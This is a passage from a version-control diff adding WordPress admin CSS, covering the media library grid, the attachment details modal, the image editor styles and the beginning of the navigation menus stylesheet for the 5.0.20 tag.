+.media-frame.mode-grid .media-frame-content,
+.media-frame.mode-grid .attachments-browser .attachments,
+.media-frame.mode-grid .uploader-inline-content {
+	position: static;
+}
+
+/* Regions we don't use at all */
+.media-frame.mode-grid .media-frame-title,
+.media-frame.mode-grid .media-frame-router,
+.media-frame.mode-grid .media-frame-menu {
+	display: none;
+}
+
+.media-frame.mode-grid .media-frame-content {
+	background-color: transparent;
+	border: none;
+}
+
+.upload-php .mode-grid .media-sidebar {
+	position: relative;
+	width: auto;
+	margin-top: 12px;
+	padding: 0 16px;
+	border-left: 4px solid #dd3d36;
+ 	box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
+	background-color: #fff;
+}
+
+.upload-php .mode-grid .hide-sidebar .media-sidebar {
+	display: none;
+}
+
+.upload-php .mode-grid .media-sidebar .media-uploader-status {
+	border-bottom: none;
+	padding-bottom: 0;
+	max-width: 100%;
+}
+
+.upload-php .mode-grid .media-sidebar .upload-error {
+	margin: 12px 0;
+	padding: 4px 0 0;
+	border: none;
+	box-shadow: none;
+	background: none;
+}
+
+.upload-php .mode-grid .media-sidebar .media-uploader-status .upload-dismiss-errors {
+	top: -10px;
+	right: -14px;
+	padding: 10px;
+}
+
+.upload-php .mode-grid .media-sidebar .media-uploader-status .upload-dismiss-errors:before {
+	content: "\f153";
+	display: block;
+	font: normal 16px/1 dashicons;
+	color: #72777c;
+}
+
+.upload-php .mode-grid .media-sidebar .media-uploader-status .upload-dismiss-errors:focus:before,
+.upload-php .mode-grid .media-sidebar .media-uploader-status .upload-dismiss-errors:hover:before {
+	color: #c00;
+}
+
+.upload-php .mode-grid .media-sidebar .media-uploader-status.errors h3, /* Back-compat for pre-4.4 */
+.upload-php .mode-grid .media-sidebar .media-uploader-status.errors h2 {
+	display: none;
+}
+
+.media-frame.mode-grid .uploader-inline {
+	position: relative;
+	top: auto;
+	right: auto;
+	left: auto;
+	bottom: auto;
+	padding-top: 0;
+	margin-top: 20px;
+	border: 4px dashed #b4b9be;
+}
+
+.media-frame.mode-select .attachments-browser.fixed .attachments {
+	position: relative;
+	top: 94px; /* prevent jumping up when the toolbar becomes fixed */
+	padding-bottom: 94px; /* offset for above so the bottom doesn't get cut off */
+}
+
+.media-frame.mode-grid .attachment:focus,
+.media-frame.mode-grid .selected.attachment:focus,
+.media-frame.mode-grid .attachment.details:focus {
+	box-shadow:
+		inset 0 0 2px 3px #f1f1f1,
+		inset 0 0 0 7px #5b9dd9;
+	outline: none;
+}
+
+.media-frame.mode-grid .selected.attachment {
+	box-shadow:
+		inset 0 0 0 5px #f1f1f1,
+		inset 0 0 0 7px #ccc;
+}
+
+.media-frame.mode-grid .attachment.details {
+	box-shadow:
+		inset 0 0 0 3px #f1f1f1,
+		inset 0 0 0 7px #1e8cbe;
+}
+
+.media-frame.mode-grid.mode-select .attachment .thumbnail {
+	opacity: 0.65;
+}
+
+.media-frame.mode-select .attachment.selected .thumbnail {
+	opacity: 1;
+}
+
+.media-frame.mode-grid .media-toolbar {
+	margin-bottom: 15px;
+	height: auto;
+}
+
+.media-frame.mode-grid .media-toolbar select {
+	margin: 0 10px 0 0;
+	font-size: 14px;
+}
+
+.media-frame.mode-grid.mode-edit .media-toolbar-secondary > .select-mode-toggle-button {
+	margin: 0 8px 0 0;
+	vertical-align: middle;
+}
+
+.media-frame.mode-grid .attachments-browser .bulk-select {
+	display: inline-block;
+	margin: 0 10px 0 0;
+}
+
+.media-frame.mode-grid .search {
+	margin-top: 0;
+}
+
+.media-frame.mode-grid .spinner {
+	margin-top: 16px;
+}
+
+.attachments-browser .media-toolbar-secondary > .media-button {
+	margin-right: 10px;
+}
+
+.media-frame.mode-select .attachments-browser.fixed .media-toolbar {
+	position: fixed;
+	top: 32px;
+	left: auto;
+	right: 20px;
+	margin-top: 0;
+}
+
+.media-frame.mode-grid .attachments-browser {
+	padding: 0;
+}
+
+.media-frame.mode-grid .attachments-browser .attachments {
+	padding: 2px;
+}
+
+.media-frame.mode-grid .attachments-browser .no-media {
+	color: #666; /* same as no plugins and no themes */
+	font-size: 18px;
+	font-style: normal;
+	margin: 0;
+	padding: 100px 0 0;
+	text-align: center;
+}
+
+/**
+ * Attachment details modal
+ */
+
+.edit-attachment-frame {
+	display: block;
+	height: 100%;
+	width: 100%;
+}
+
+.edit-attachment-frame .edit-media-header {
+	overflow: hidden;
+}
+
+.upload-php .media-modal-close .media-modal-icon:before {
+	content: "\f335";
+	font-size: 22px;
+}
+
+.upload-php .media-modal-close,
+.edit-attachment-frame .edit-media-header .left,
+.edit-attachment-frame .edit-media-header .right {
+	cursor: pointer;
+	color: #72777c;
+	background-color: transparent;
+	height: 50px;
+	width: 50px;
+	padding: 0;
+	position: absolute;
+	text-align: center;
+	border: 0;
+	border-left: 1px solid #ddd;
+	transition: color .1s ease-in-out, background .1s ease-in-out;
+}
+
+.upload-php .media-modal-close {
+	top: 0;
+	right: 0;
+}
+
+.edit-attachment-frame .edit-media-header .left {
+	right: 102px;
+}
+
+.edit-attachment-frame .edit-media-header .right {
+	right: 51px;
+}
+
+.edit-attachment-frame .media-frame-title {
+	left: 0;
+	right: 150px; /* leave space for prev/next/close */
+}
+
+.edit-attachment-frame .edit-media-header .right:before,
+.edit-attachment-frame .edit-media-header .left:before {
+	font: normal 20px/50px dashicons !important;
+	display: inline;
+	font-weight: 300;
+}
+
+.upload-php .media-modal-close:hover,
+.upload-php .media-modal-close:focus,
+.edit-attachment-frame .edit-media-header .left:hover,
+.edit-attachment-frame .edit-media-header .right:hover,
+.edit-attachment-frame .edit-media-header .left:focus,
+.edit-attachment-frame .edit-media-header .right:focus {
+	background: #ddd;
+	border-color: #ccc;
+	color: #000;
+	outline: none;
+	box-shadow: none;
+}
+
+.upload-php .media-modal-close:focus .media-modal-icon:before,
+.upload-php .media-modal-close:hover .media-modal-icon:before {
+	color: #000;
+}
+
+.edit-attachment-frame .edit-media-header .left:before,
+.rtl .edit-attachment-frame .edit-media-header .right:before {
+	content: "\f341";
+}
+
+.edit-attachment-frame .edit-media-header .right:before,
+.rtl .edit-attachment-frame .edit-media-header .left:before {
+	content: "\f345";
+}
+
+.edit-attachment-frame .edit-media-header .left.disabled,
+.edit-attachment-frame .edit-media-header .right.disabled,
+.edit-attachment-frame .edit-media-header .left.disabled:hover,
+.edit-attachment-frame .edit-media-header .right.disabled:hover {
+	color: #ccc;
+	background: inherit;
+	cursor: default;
+	pointer-events: none;
+}
+
+.edit-attachment-frame .media-frame-content,
+.edit-attachment-frame .media-frame-router {
+	left: 0;
+}
+
+.edit-attachment-frame .media-frame-content {
+	border-bottom: none;
+	bottom: 0;
+	top: 50px;
+}
+
+.edit-attachment-frame .attachment-details {
+	position: absolute;
+	overflow: auto;
+	top: 0;
+	bottom: 0;
+	right: 0;
+	left: 0;
+	box-shadow: inset 0px 4px 4px -4px rgba(0, 0, 0, 0.1);
+}
+
+.edit-attachment-frame .attachment-media-view {
+	float: left;
+	width: 65%;
+	height: 100%;
+}
+
+.edit-attachment-frame .attachment-media-view .thumbnail {
+	box-sizing: border-box;
+	padding: 16px;
+	height: 100%;
+}
+
+.edit-attachment-frame .attachment-media-view .details-image {
+	display: block;
+	margin: 0 auto 16px;
+	max-width: 100%;
+	max-height: 90%;
+	max-height: calc( 100% - 42px ); /* leave space for actions underneath */
+	background-image: linear-gradient(45deg, #c4c4c4 25%, transparent 25%, transparent 75%, #c4c4c4 75%, #c4c4c4), linear-gradient(45deg, #c4c4c4 25%, transparent 25%, transparent 75%, #c4c4c4 75%, #c4c4c4);
+	background-position: 0 0, 10px 10px;
+	background-size: 20px 20px;
+}
+
+.edit-attachment-frame .attachment-media-view .details-image.icon {
+	background: none;
+}
+
+.edit-attachment-frame .attachment-media-view .attachment-actions {
+	text-align: center;
+}
+
+.edit-attachment-frame .wp-media-wrapper {
+	margin-bottom: 12px;
+}
+
+.edit-attachment-frame input,
+.edit-attachment-frame textarea {
+	padding: 6px 8px;
+	line-height: 16px;
+}
+
+.edit-attachment-frame .attachment-info {
+	overflow: auto;
+	box-sizing: border-box;
+	margin-bottom: 0;
+	padding: 12px 16px 0;
+	width: 35%;
+	height: 100%;
+	box-shadow: inset 0px 4px 4px -4px rgba(0, 0, 0, 0.1);
+	border-bottom: 0;
+	border-left: 1px solid #ddd;
+	background: #f3f3f3;
+}
+
+.edit-attachment-frame .attachment-info .details,
+.edit-attachment-frame .attachment-info .settings {
+	position: relative; /* RTL fix, #WP29352 */
+	overflow: hidden;
+	float: none;
+	margin-bottom: 15px;
+	padding-bottom: 15px;
+	border-bottom: 1px solid #ddd;
+}
+
+.edit-attachment-frame .attachment-info .filename {
+	font-weight: 400;
+	color: #666;
+}
+
+.edit-attachment-frame .attachment-info .thumbnail {
+	margin-bottom: 12px;
+}
+
+.attachment-info .actions {
+	margin-bottom: 16px;
+}
+
+.attachment-info .actions a {
+	display: inline;
+	text-decoration: none;
+}
+
+
+/*------------------------------------------------------------------------------
+  14.2 - Image Editor
+------------------------------------------------------------------------------*/
+
+.wp_attachment_details label[for="content"] {
+	font-size: 13px;
+	line-height: 1.5;
+	margin: 1em 0;
+}
+
+.wp_attachment_details #attachment_caption {
+	height: 4em;
+}
+
+.describe .image-editor {
+	vertical-align: top;
+}
+
+.imgedit-wrap {
+	position: relative;
+	padding-top: 10px;
+}
+
+.imgedit-settings p,
+.imgedit-settings fieldset {
+	margin: 8px 0;
+}
+
+.imgedit-settings legend {
+	margin-bottom: 5px;
+}
+
+.describe .imgedit-wrap .imgedit-settings {
+	padding: 0 5px;
+}
+
+.wp_attachment_holder div.updated {
+	margin-top: 0;
+}
+
+.wp_attachment_holder .imgedit-wrap > div {
+	height: auto;
+}
+
+.wp_attachment_holder .imgedit-wrap .imgedit-panel-content {
+	padding: 3px 16px 0 0;
+	float: left;
+}
+
+.wp_attachment_holder .imgedit-wrap .imgedit-settings {
+	float: right;
+	width: 250px;
+}
+
+.imgedit-settings input {
+	margin-top: 0;
+	vertical-align: middle;
+}
+
+.imgedit-wait {
+	position: absolute;
+	top: 0;
+	bottom: 0;
+	width: 100%;
+	background: #fff;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	display: none;
+}
+
+.imgedit-wait:before {
+	content: "";
+	display: block;
+	width: 20px;
+	height: 20px;
+	position: absolute;
+	left: 50%;
+	top: 50%;
+	margin: -10px 0 0 -10px;
+	background: transparent url(../images/spinner.gif) no-repeat center;
+	background-size: 20px 20px;
+	transform: translateZ(0);
+}
+
+.no-float {
+	float: none;
+}
+
+.media-disabled,
+.imgedit-settings .disabled {
+	/* WCAG 1.4.3 Text or images of text that are part of an inactive user
+	   interface component ... have no contrast requirement. */
+	color: #a0a5aa;
+}
+
+.A1B1 {
+	overflow: hidden;
+}
+
+.wp_attachment_image .button,
+.A1B1 .button {
+	float: left;
+}
+
+.no-js .wp_attachment_image .button {
+	display: none;
+}
+
+.wp_attachment_image .spinner,
+.A1B1 .spinner {
+	float: left;
+}
+
+.imgedit-menu {
+	min-width: 300px;
+	margin: 0 0 12px;
+}
+
+.imgedit-menu .note-no-rotate {
+	clear: both;
+	margin: 0;
+	padding: 1em 0 0;
+}
+
+.image-editor .imgedit-menu .button {
+	float: left;
+	width: 32px;
+	height: 32px;
+	margin: 0 8px 0 0;
+	padding: 0;
+	background: #f1f1f1;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	line-height: 16px;
+	color: #72777c;
+}
+
+.imgedit-menu .button:before {
+	font: normal 20px/1 dashicons;
+	speak: none;
+	vertical-align: middle;
+}
+
+.imgedit-menu .button.disabled {
+	border-color: #ccc;
+	background-color: #ddd;
+	color: #72777c;
+	filter: alpha(opacity=50);
+	opacity: 0.5;
+	cursor: default;
+}
+
+.imgedit-crop:before {
+	content: "\f165";
+}
+
+.imgedit-rleft:before {
+	content: "\f166";
+}
+
+.imgedit-rright:before {
+	content: "\f167";
+}
+
+.imgedit-flipv:before {
+	content: "\f168";
+}
+
+.imgedit-fliph:before {
+	content: "\f169";
+}
+
+.imgedit-undo:before {
+	content: "\f171";
+}
+
+.imgedit-redo:before {
+	content: "\f172";
+}
+
+.imgedit-crop-wrap {
+	position: relative;
+}
+
+.imgedit-crop-wrap img {
+	background-image: linear-gradient(45deg, #c4c4c4 25%, transparent 25%, transparent 75%, #c4c4c4 75%, #c4c4c4), linear-gradient(45deg, #c4c4c4 25%, transparent 25%, transparent 75%, #c4c4c4 75%, #c4c4c4);
+	background-position: 0 0, 10px 10px;
+	background-size: 20px 20px;
+}
+
+.imgedit-crop {
+	margin: 0 8px 0 0;
+}
+
+.imgedit-rleft {
+	margin: 0 3px;
+}
+
+.imgedit-rright {
+	margin: 0 8px 0 3px;
+}
+
+.imgedit-flipv {
+	margin: 0 3px;
+}
+
+.imgedit-fliph {
+	margin: 0 8px 0 3px;
+}
+
+.imgedit-undo {
+	margin: 0 3px;
+}
+
+.imgedit-redo {
+	margin: 0 8px 0 3px;
+}
+
+.imgedit-thumbnail-preview {
+	margin: 10px 8px 0 0;
+}
+
+.imgedit-thumbnail-preview-caption {
+	display: block;
+}
+
+#poststuff .imgedit-group-top h3, /* Back-compat for pre-4.4 */
+#poststuff .imgedit-group-top h2 {
+	display: inline-block;
+	margin: 0;
+	padding: 0;
+	font-size: 14px;
+	line-height: 1.4;
+}
+
+#poststuff .imgedit-group-top .button-link {
+	text-decoration: none;
+	color: #23282d;
+}
+
+.imgedit-applyto .imgedit-label {
+	display: block;
+	padding: .5em 0 0;
+}
+
+.imgedit-help {
+	display: none;
+	font-style: italic;
+}
+
+/* higher specificity than buttons */
+.image-editor .imgedit-settings .imgedit-help-toggle,
+.image-editor .imgedit-settings .imgedit-help-toggle:hover,
+.image-editor .imgedit-settings .imgedit-help-toggle:active {
+	border: 1px solid transparent;
+	margin: -1px 0 0 -1px;
+	padding: 0;
+	background: transparent;
+	color: #0074a2;
+	font-size: 20px;
+	line-height: 1;
+	cursor: pointer;
+	box-sizing: content-box;
+	box-shadow: none;
+}
+
+.image-editor .imgedit-settings .imgedit-help-toggle:focus {
+	color: #0074a2;
+	border-color: #5b9dd9;
+	outline: none;
+	box-shadow: 0 0 3px rgba( 0, 115, 170, .8 );
+}
+
+.form-table td.imgedit-response {
+	padding: 0;
+}
+
+.imgedit-submit {
+	margin: 8px 0 0;
+}
+
+.imgedit-submit-btn {
+	margin-left: 20px;
+}
+
+.imgedit-wrap .nowrap {
+	white-space: nowrap;
+	font-size: 12px;
+	line-height: inherit;
+}
+
+span.imgedit-scale-warn {
+	color: #dc3232;
+	font-size: 20px;
+	font-style: normal;
+	visibility: hidden;
+	vertical-align: middle;
+}
+
+.imgedit-save-target {
+	margin: 8px 0;
+}
+
+.imgedit-group {
+	margin-bottom: 8px;
+	padding: 10px;
+}
+
+.imgedit-settings .imgedit-scale input[type="text"],
+.imgedit-settings .imgedit-crop-ratio input[type="text"],
+.imgedit-settings .imgedit-crop-sel input[type="text"] {
+	width: 50px;
+	font-size: 14px;
+	padding: 5px 8px;
+}
+
+.imgedit-separator {
+	display: inline-block;
+	width: 7px;
+	text-align: center;
+	vertical-align: middle;
+	font-size: 13px;
+	color: #444;
+}
+
+.imgedit-settings .imgedit-scale .button {
+	margin-bottom: 0;
+}
+
+audio, video {
+	display: inline-block;
+	max-width: 100%;
+}
+
+.mejs-container {
+	width: 100%;
+	max-width: 100%;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+/**
+ * HiDPI Displays
+ */
+@media print,
+  (-webkit-min-device-pixel-ratio: 1.25),
+  (min-resolution: 120dpi) {
+	.imgedit-wait:before {
+		background-image: url(../images/spinner-2x.gif);
+	}
+}
+
+@media screen and ( max-width: 782px ) {
+	.wp_attachment_details label[for="content"] {
+		font-size: 14px;
+		line-height: 1.5em;
+	}
+
+	.media-upload-form .media-item.error,
+	.media-upload-form .media-item .error {
+		font-size: 13px;
+		line-height: 1.5;
+	}
+
+	.media-upload-form .media-item.error {
+		padding: 1px 10px;
+	}
+
+	.media-upload-form .media-item .error {
+		padding: 10px 0 10px 12px;
+	}
+
+	.imgedit-settings .imgedit-scale input[type="text"],
+	.imgedit-settings .imgedit-crop-ratio input[type="text"],
+	.imgedit-settings .imgedit-crop-sel input[type="text"] {
+		width: 60px;
+		font-size: 16px;
+		padding: 6px 10px;
+	}
+
+	.imgedit-applyto .imgedit-label {
+		vertical-align: middle;
+	}
+}
+
+/**
+ * Media queries for media grid.
+ */
+
+@media only screen and (max-width: 1120px) {
+	/* override for media-views.css */
+	#wp-media-grid .wp-filter .attachment-filters {
+		max-width: 100%;
+	}
+}
+
+@media only screen and ( max-width: 782px ) {
+	.media-frame.mode-select .attachments-browser.fixed .media-toolbar {
+		top: 46px;
+		right: 10px;
+	}
+}
+
+@media only screen and (max-width: 600px) {
+	.media-frame.mode-select .attachments-browser.fixed .media-toolbar {
+		top: 0;
+	}
+}
+
+@media only screen and (max-width: 480px) {
+	.edit-attachment-frame .media-frame-title {
+		right: 110px;
+	}
+
+	.upload-php .media-modal-close,
+	.edit-attachment-frame .edit-media-header .left,
+	.edit-attachment-frame .edit-media-header .right {
+		width: 40px;
+		height: 40px;
+	}
+
+	.upload-php .media-modal-close .media-modal-icon {
+		margin: 9px 10px;
+	}
+
+	.edit-attachment-frame .edit-media-header .right:before,
+	.edit-attachment-frame .edit-media-header .left:before {
+		line-height: 40px !important;
+	}
+
+	.edit-attachment-frame .edit-media-header .left {
+		right: 82px;
+	}
+
+	.edit-attachment-frame .edit-media-header .right {
+		right: 41px;
+	}
+
+	.edit-attachment-frame .media-frame-content {
+		top: 40px;
+	}
+
+	.edit-attachment-frame .attachment-media-view {
+		float: none;
+		height: auto;
+		width: 100%;
+	}
+
+	.edit-attachment-frame .attachment-info {
+		height: auto;
+		width: 100%;
+	}
+}
+
+@media only screen and (max-width: 640px), screen and (max-height: 400px) {
+	.upload-php .mode-grid .media-sidebar{
+		max-width: 100%;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/css/nav-menus.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/nav-menus.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/nav-menus.css	(revision 56912)
@@ -0,0 +1,901 @@
+/* nav-menu */
+
+/* @todo: determine if this is truly for nav menus only */
+.no-js #message {
+	display: block;
+}
+
+ul.add-menu-item-tabs li {
+	padding: 3px 5px 4px 8px;
+}
+
+.accordion-section ul.category-tabs,
+.accordion-section ul.add-menu-item-tabs,
+.accordion-section ul.wp-tab-bar {
+	margin: 0;
+}
+
+.accordion-section .categorychecklist {
+	margin: 13px 0;
+}
+
+#nav-menu-meta .accordion-section-content {
+	padding: 18px 13px;
+}
+
+#nav-menu-meta .button-controls {
+	margin-bottom: 0;
+}
+
+.has-no-menu-item .button-controls {
+	display: none;
+}
+
+#nav-menus-frame {
+	margin-left: 300px;
+	margin-top: 23px;
+}
+
+#wpbody-content #menu-settings-column {
+	display:inline;
+	width:281px;
+	margin-left: -300px;
+	clear: both;
+	float: left;
+	padding-top: 0;
+}
+
+#menu-settings-column .inside {
+	clear: both;
+	margin: 10px 0 0;
+}
+
+.metabox-holder-disabled .postbox,
+.metabox-holder-disabled .accordion-section-content,
+.metabox-holder-disabled .accordion-section-title {
+	opacity: 0.5;
+	filter: alpha(opacity=50);
+}
+
+.metabox-holder-disabled .button-controls .select-all {
+	display: none;
+}
+
+#wpbody {
+	position: relative;
+}
+
+.blank-slate .menu-settings {
+	border: none;
+	margin-top: 0;
+	padding-top: 0;
+	overflow: hidden;
+}
+
+.is-submenu {
+	color: #555d66; /* #fafafa background */
+	font-style: italic;
+	font-weight: 400;
+	margin-left: 4px;
+}
+
+.manage-menus {
+	margin-top: 23px;
+	padding: 10px;
+	overflow: hidden;
+	background: #fbfbfb;
+}
+
+.manage-menus .selected-menu,
+.manage-menus select,
+.manage-menus .submit-btn,
+.nav-menus-php .add-new-menu-action {
+	display: inline-block;
+	margin-right: 3px;
+	vertical-align: middle;
+}
+
+.manage-menus select,
+.menu-location-menus select {
+	max-width: 100%;
+}
+
+.menu-edit #post-body-content h3 {
+	margin: 1em 0 10px;
+}
+
+.menu-settings {
+	border-top: 1px solid #eee;
+	margin-top: 2em;
+}
+
+.menu-settings-group {
+	margin: 0 0 10px;
+	overflow: hidden;
+	padding-left: 20%;
+}
+
+.menu-settings-group:last-of-type {
+	margin-bottom: 0;
+}
+
+.menu-settings-input {
+	float: left;
+	margin: 0;
+	width: 100%;
+}
+
+.menu-settings-group-name {
+	float: left;
+	clear: both;
+	width: 25%;
+	padding: 3px 0 0;
+	margin-left: -25%; /* 20 container left padding x ( 100 container % width / 80 this % width ) */
+}
+
+.menu-settings label {
+	vertical-align: baseline;
+}
+
+.menu-edit .checkbox-input {
+	margin-top: 4px;
+}
+
+.theme-location-set {
+	color: #72777c;
+	font-size: 11px;
+}
+
+/* Menu Container */
+
+/* @todo: responsive view. */
+#menu-management-liquid {
+	float: left;
+	min-width: 100%;
+	margin-top: 3px;
+}
+
+/* @todo: responsive view. */
+#menu-management {
+	position: relative;
+	margin-right: 20px;
+	margin-top: -3px;
+	width: 100%;
+	background: #f5f5f5;
+}
+
+#menu-management .menu-edit {
+	margin-bottom: 20px;
+}
+
+.nav-menus-php #post-body {
+	padding: 0 10px 10px;
+	border-top: 1px solid #fff;
+	border-bottom: 1px solid #ddd;
+	background: #fff;
+}
+
+#nav-menu-header,
+#nav-menu-footer {
+	padding: 0 10px;
+}
+
+#nav-menu-header {
+	border-bottom: 1px solid #ddd;
+	margin-bottom: 0;
+}
+
+#nav-menu-header .menu-name-label {
+	display: inline-block;
+	vertical-align: middle;
+	margin-right: 7px;
+	font-style: italic;
+}
+
+.nav-menus-php #post-body div.updated,
+.nav-menus-php #post-body div.error {
+	margin: 0;
+}
+
+.nav-menus-php #post-body-content {
+	position: relative;
+	float: none;
+}
+
+#menu-management .menu-add-new abbr {
+	font-weight:600;
+}
+
+#select-nav-menu-container {
+	text-align: right;
+	padding: 0 10px 3px 10px;
+	margin-bottom: 5px;
+}
+
+#select-nav-menu {
+	width: 100px;
+	display: inline;
+}
+
+#menu-name-label {
+	margin-top: -2px;
+}
+
+.widefat .menu-locations .menu-location-title {
+	padding: 13px 10px 0;
+}
+
+.menu-location-title label {
+	font-weight: 600;
+}
+
+.menu-location-menus select {
+	float: left;
+}
+
+#locations-nav-menu-wrapper {
+	padding: 5px 0;
+}
+
+.locations-nav-menu-select select {
+	float: left;
+	width: 160px;
+	margin-right: 5px;
+}
+
+.locations-row-links {
+	float: left;
+	margin: 6px 0 0 6px;
+}
+
+.locations-edit-menu-link,
+.locations-add-menu-link {
+	margin: 0 3px;
+}
+
+.locations-edit-menu-link {
+	padding-right: 3px;
+	border-right: 1px solid #ccc;
+}
+
+#menu-management .inside {
+	padding: 0 10px;
+}
+
+/* Add Menu Item Boxes */
+.postbox .howto input,
+.customlinkdiv .menu-item-textbox {
+	width: 180px;
+	float: right;
+}
+
+.accordion-container .outer-border {
+	margin: 0;
+}
+
+.customlinkdiv p {
+	margin-top: 0
+}
+
+#nav-menu-theme-locations .howto select {
+	width: 100%;
+}
+
+#nav-menu-theme-locations .button-controls {
+	text-align: right;
+}
+
+.add-menu-item-view-all {
+	height: 400px;
+}
+
+/* Button Primary Actions */
+#menu-container .submit {
+	margin: 0 0 10px;
+	padding: 0;
+}
+
+/* @todo: is this actually used? */
+#cancel-save {
+	text-decoration: underline;
+	font-size: 12px;
+	margin-left: 20px;
+	margin-top: 5px;
+}
+
+.button.right, .button-secondary.right, .button-primary.right {
+	float: right;
+}
+
+/* Button Secondary Actions */
+.list-controls {
+	float: left;
+	margin-top: 5px;
+}
+
+.add-to-menu {
+	float: right;
+}
+
+.button-controls {
+	clear:both;
+	margin: 10px 0;
+}
+
+.show-all,
+.hide-all {
+	cursor: pointer;
+}
+
+.hide-all {
+	display: none;
+}
+
+/* Create Menu */
+#menu-name {
+	width: 270px;
+	vertical-align: middle;
+}
+
+#manage-menu .inside {
+	padding: 0px 0px;
+}
+
+/* Custom Links */
+#available-links dt {
+	display: block;
+}
+
+#add-custom-link .howto {
+	font-size: 12px;
+}
+
+#add-custom-link label span {
+	display: block;
+	float: left;
+	margin-top: 5px;
+	padding-right: 5px;
+}
+
+.menu-item-textbox {
+	width: 180px;
+}
+
+.customlinkdiv label,
+.nav-menus-php .howto span {
+	float: left;
+	margin-top: 6px;
+}
+
+/* Menu item types */
+.quick-search {
+	width: 190px;
+}
+
+.quick-search-wrap .spinner {
+	float: none;
+	margin: -3px -10px 0 0;
+}
+
+.nav-menus-php .list-wrap {
+	display: none;
+	clear: both;
+	margin-bottom: 10px;
+}
+
+.nav-menus-php .postbox p.submit {
+	margin-bottom: 0;
+}
+
+/* Listings */
+.nav-menus-php .list li {
+	display: none;
+	margin: 0;
+	margin-bottom: 5px;
+}
+
+.nav-menus-php .list li .menu-item-title {
+	cursor: pointer;
+	display: block;
+}
+
+.nav-menus-php .list li .menu-item-title input {
+	margin-right: 3px;
+	margin-top: -3px;
+}
+
+.menu-item-title input[type=checkbox] {
+	display: inline-block;
+	margin-top: -4px;
+}
+
+/* Nav Menu */
+#menu-container .inside {
+	padding-bottom: 10px;
+}
+
+.menu {
+	padding-top:1em;
+}
+
+#menu-to-edit {
+	margin: 0;
+	padding: 0.1em 0;
+}
+
+.menu ul {
+	width: 100%;
+}
+
+.menu li {
+	margin-bottom: 0;
+	position:relative;
+}
+
+.menu-item-bar {
+	clear:both;
+	line-height:1.5em;
+	position:relative;
+	margin: 9px 0 0;
+}
+
+.menu-item-bar .menu-item-handle {
+	border: 1px solid #ddd;
+	position: relative;
+	padding: 10px 15px;
+	height: auto;
+	min-height: 20px;
+	width: 382px;
+	line-height: 30px;
+	overflow: hidden;
+	word-wrap: break-word;
+}
+
+.menu-item-bar .menu-item-handle:hover {
+	border-color: #999;
+}
+
+#menu-to-edit .menu-item-invalid .menu-item-handle {
+	background: #f6c9cc;
+	border-color: #f1acb1;
+}
+
+.no-js .menu-item-edit-active .item-edit {
+	display: none;
+}
+
+.js .menu-item-handle {
+	cursor: move;
+}
+
+.menu li.deleting .menu-item-handle {
+	background-image: none;
+	background-color: #f66;
+}
+
+.menu-item-handle .item-title {
+	font-size: 13px;
+	font-weight: 600;
+	line-height: 20px;
+	display: block;
+	/* @todo: responsive view. */
+	margin-right: 13em;
+}
+
+.menu-item-handle .menu-item-title.no-title {
+	color: #72777c;
+}
+
+/* Sortables */
+li.menu-item.ui-sortable-helper .menu-item-bar {
+	margin-top: 0;
+}
+
+li.menu-item.ui-sortable-helper .menu-item-transport .menu-item-bar {
+	margin-top: 13px;
+}
+
+.menu .sortable-placeholder {
+	height: 35px;
+	width: 410px;
+	margin-top: 13px;
+}
+
+/* Hide the transport list when it's empty */
+.menu-item .menu-item-transport:empty {
+	display: none;
+}
+
+/* WARNING: The factor of 30px is hardcoded into the nav-menus JavaScript. */
+.menu-item-depth-0 { margin-left: 0px; }
+.menu-item-depth-1 { margin-left: 30px; }
+.menu-item-depth-2 { margin-left: 60px; }
+.menu-item-depth-3 { margin-left: 90px; }
+.menu-item-depth-4 { margin-left: 120px; }
+.menu-item-depth-5 { margin-left: 150px; }
+.menu-item-depth-6 { margin-left: 180px; }
+.menu-item-depth-7 { margin-left: 210px; }
+.menu-item-depth-8 { margin-left: 240px; }
+.menu-item-depth-9 { margin-left: 270px; }
+.menu-item-depth-10 { margin-left: 300px; }
+.menu-item-depth-11 { margin-left: 330px; }
+
+.menu-item-depth-0 .menu-item-transport { margin-left: 0px; }
+.menu-item-depth-1 .menu-item-transport { margin-left: -30px; }
+.menu-item-depth-2 .menu-item-transport { margin-left: -60px; }
+.menu-item-depth-3 .menu-item-transport { margin-left: -90px; }
+.menu-item-depth-4 .menu-item-transport { margin-left: -120px; }
+.menu-item-depth-5 .menu-item-transport { margin-left: -150px; }
+.menu-item-depth-6 .menu-item-transport { margin-left: -180px; }
+.menu-item-depth-7 .menu-item-transport { margin-left: -210px; }
+.menu-item-depth-8 .menu-item-transport { margin-left: -240px; }
+.menu-item-depth-9 .menu-item-transport { margin-left: -270px; }
+.menu-item-depth-10 .menu-item-transport { margin-left: -300px; }
+.menu-item-depth-11 .menu-item-transport { margin-left: -330px; }
+
+body.menu-max-depth-0 { min-width: 950px !important; }
+body.menu-max-depth-1 { min-width: 980px !important; }
+body.menu-max-depth-2 { min-width: 1010px !important; }
+body.menu-max-depth-3 { min-width: 1040px !important; }
+body.menu-max-depth-4 { min-width: 1070px !important; }
+body.menu-max-depth-5 { min-width: 1100px !important; }
+body.menu-max-depth-6 { min-width: 1130px !important; }
+body.menu-max-depth-7 { min-width: 1160px !important; }
+body.menu-max-depth-8 { min-width: 1190px !important; }
+body.menu-max-depth-9 { min-width: 1220px !important; }
+body.menu-max-depth-10 { min-width: 1250px !important; }
+body.menu-max-depth-11 { min-width: 1280px !important; }
+
+/* Menu item controls */
+.item-type {
+	display: inline-block;
+	padding: 12px 16px;
+	color: #666;
+	font-size: 12px;
+	line-height: 18px;
+}
+
+.item-controls {
+	font-size: 12px;
+	position: absolute;
+	right: 20px;
+	top: -1px;
+}
+
+.item-controls a {
+	text-decoration: none;
+}
+
+.item-controls a:hover {
+	cursor: pointer;
+}
+
+.item-controls .item-order {
+	padding-right: 10px;
+}
+
+.nav-menus-php .item-edit {
+	position: absolute;
+	right: -20px;
+	top: 0;
+	display: block;
+	width: 30px;
+	height: 40px;
+	outline: none;
+}
+
+.no-js.nav-menus-php .item-edit {
+	position: static;
+	float: right;
+	width: auto;
+	height: auto;
+	margin: 12px -10px 12px 0;
+	padding: 0;
+	color: #0073aa;
+	text-decoration: underline;
+	font-size: 12px;
+	line-height: 18px;
